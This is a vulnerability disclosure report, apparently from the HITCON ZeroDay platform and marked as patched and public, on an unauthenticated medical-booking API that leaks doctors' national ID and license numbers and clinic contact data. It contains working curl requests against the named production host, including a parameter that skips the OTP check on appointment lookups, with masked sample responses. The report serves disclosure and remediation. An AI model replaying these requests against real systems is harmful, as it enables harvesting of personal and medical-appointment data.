Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00354
- Vendor: 翔評互動股份有限公司
- Title: AlleyPin 翔評互動 後端 API 無認證存取,洩露大量醫師身分證字號、執照號碼及醫療院所完整資料
- Introduction: API 完全無需任何認證即可存取。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/03/20 03:20:20 : 新提交 (由 Marco 更新此狀態)
- 2026/03/24 00:13:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 18:54:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 18:54:01 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/26 18:54:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/11 17:53:26 : 新提交 (由 Marco 更新此狀態)
- 2026/05/14 10:52:17 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/05/18 06:17:55 : 新提交 (由 Marco 更新此狀態)
- 2026/05/18 13:57:25 : 新提交 (由 Marco 更新此狀態)
- 2026/05/18 13:58:07 : 新提交 (由 Marco 更新此狀態)
- 2026/05/19 12:12:11 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/05/25 17:08:27 : 確認已修補 (由 Marco 更新此狀態)
- 2026/05/26 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00354
- 通報者:mlgzackfly (Marco)
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://pinmed.alleypinapis.com/clinics?limit=5&offset=0
https://pinmed.alleypinapis.com/clinics/{clinicId}
https://pinmed.alleypinapis.com/api/v1/public/clinics/{clinicId}/resources
https://pinmed.alleypinapis.com/api/v1/public/clinics/{clinicId}/enduserAppointments?phone=...&bypassPhoneValidation=true
敘述
漏洞描述
PinMed(pinmed.co)是 AlleyPin 旗下的醫療預約平台,其後端 API 主機 pinmed.alleypinapis.com 的多個端點完全無需任何認證即可存取。
最嚴重的問題在 /doctors 端點:API 回傳的 IDNum 欄位直接包含醫師的台灣身分證字號(國民身分證統一編號),licenseID 欄位包含醫師執照號碼。這些欄位在 PinMed 網站前端有被函數過濾(刪除 IDNum),但該過濾僅在前端執行,API 本身不做任何過濾。
後端 API 發現方式
- PinMed(pinmed.co)的 production build 公開了所有 source map(
.js.map) - 從 source map 提取出原始碼
src/helpers/envHelpers.js,確認環境變數名稱PINMED_API - 在 minified JS chunk 中搜尋,找到實際值
https://pinmed.alleypinapis.com - 直接呼叫該 API,確認完全無需認證
重現步驟
Step 1:取得醫師資料(含身分證字號,無需認證)
curl "https://pinmed.alleypinapis.com/doctors?limit=5&offset=0"
回應(節錄):
{
"data": [
{
"name": "劉*堯",
"IDNum": "D1*******3",
"licenseID": "牙字第0****8號",
"licenseIssuedAt": "2026/03/09",
"educations": ["某醫學院"],
"id": "17b9****-****-****-****-********832"
},
{
"name": "謝*慶",
"IDNum": "A********3",
"licenseID": "牙字第0****6號",
"educations": ["某牙醫學院"]
}
],
"metaData": { "total": {已編輯} }
}
透過調整 offset 參數即可遍歷全部 n 位醫師。
驗證取得的身分證字號
對前 100 位醫師的 IDNum 進行台灣身分證字號驗證(格式:1 英文字母 + 1 性別碼 + 8 數字,含 checksum 驗算):
| 分類 | 數量 | 比例 |
|---|---|---|
| 真實身分證(checksum 通過) | 84 | 84% |
| 公司統編 5**6(誤填) | 10 | 10% |
| 格式不符(手動輸入錯誤) | 4 | 4% |
| 假資料/測試值(如 A123456789) | 1 | 1% |
| 空值 | 1 | 1% |
對前 100 位醫師身分證進行 checksum 驗證,多數為真實身分證(具體比例與推算數字已隱碼)驗證範例(中間碼遮蔽):
劉○○ | D1******3 | 男 | 牙字第******號
謝○○ | A1******3 | 男 | 牙字第******號
陳○○ | P1******0 | 男 | 牙字第******號
陳○○ | S2******7 | 女 | 醫字第******號
莊○○ | H1******2 | 男 | 牙字第******號
朱○○ | L1******6 | 男 | 牙字第******號
周○○ | G2******8 | 女 | 醫字第******號
蔡○○ | B2******5 | 女 | 醫字第******號
過濾機制失效的根本原因
從 PinMed source map 提取出的原始碼 src/utils/filter.js:
export const removeDoctorSensitiveData = (doctor) => {
delete doctor.users;
delete doctor.idnum;
delete doctor.IDNum;
delete doctor.licenseUrls;
delete doctor.licenseID;
delete doctor.licenseIssuedAt;
return doctor;
};
此函數在前端呼叫(src/data/clinic.ts),但 API server 本身不執行任何過濾。直接呼叫 pinmed.alleypinapis.com 即繞過所有前端過濾。
以下為已完成敏感資訊遮罩(Masking)的 Markdown 版本,保留技術脈絡與漏洞說明,同時避免直接暴露個資或可濫用細節:
同一 API 的其他漏洞
A. 多間醫療院所完整資料洩露
curl "https://pinmed.alleypinapis.com/clinics?limit=5&offset=0"
# metaData.total: 20956
每間診所洩露以下頁面不可見的敏感欄位:
| 欄位 | 範例(已遮罩) |
|---|---|
authorPhone(負責人手機) |
0911****93 |
contactRequestEmails |
c******[email protected] |
clientID(UUID 主鍵) |
d4a86e20-****-****-****-************ |
serviceStoreID |
3703****41 |
lineOaID |
@266**** |
featureToggle |
{內部功能旗標}: false |
note(內部備註) |
排班 / 內部作業資訊 |
blacklist |
黑名單設定 |
列舉結果涵蓋所有科別與狀態之診所,數量遠多於以單一科別篩選之搜尋結果
B. 醫師個人 email 洩露(resources 端點)
curl "https://pinmed.alleypinapis.com/api/v1/public/clinics/{clinicId}/resources"
回應包含醫師/管理人員的個人 email(已遮罩):
z******[email protected]c******[email protected]
C. 預約查詢 OTP 驗證繞過
# 正常 → 要求 OTP 驗證
curl ".../enduserAppointments?phone=09******78&phoneCountryCode=886&statuses=confirmed"
# → {"error":"PhoneNotVerified"}
# 加入 bypassPhoneValidation=true → 繞過 OTP
curl ".../enduserAppointments?phone=09******78&phoneCountryCode=886&statuses=confirmed&bypassPhoneValidation=true"
# → [] (查詢成功,繞過 OTP)
bypassPhoneValidation 參數從 source map 原始碼中發現。攻擊者可利用任意手機號碼查詢診所預約紀錄(已去識別描述),無需 OTP 驗證。
影響
- 數位醫師的身分證字號被公開暴露:身分證字號為台灣最高等級的個人識別資料,可用於身份冒用、信用查詢、社交工程
- 數位醫師的執照號碼被暴露:配合姓名可偽造醫療文件
- 數間醫療院所的負責人手機、email 洩露:可用於精準的釣魚攻擊
- 預約查詢 OTP 驗證可被繞過:可查詢任意病患的預約紀錄
- 違反台灣《個人資料保護法》
修補建議
立即修復
移除 API 中的身分證字號:在 API server 端過濾 IDNum,不應在任何公開端點回傳
移除 API 中的執照號碼:過濾 licenseID、licenseIssuedAt
移除 bypassPhoneValidation:API server 不應接受此 query parameter,或限制為 server-side 內部呼叫
API 加入認證:pinmed.alleypinapis.com 的所有端點應要求 API Key 或 Bearer Token
短期修復
Server-side 欄位過濾:將過濾邏輯移到 API server 端
限制 listing 端點:加入 rate limiting、最大 limit 限制
隱藏後端 API URL:前端 JS 不應直接引用 pinmed.alleypinapis.com,改用 Next.js API routes proxy
關閉 source map:productionBrowserSourceMaps: false
長期改善
加密儲存身分證字號:資料庫中的身分證字號應加密儲存,API 回傳時解密並遮蔽
個資存取稽核:對身分證字號的存取建立稽核日誌
定期審查 API 端點:確認所有公開端點不會洩露敏感個資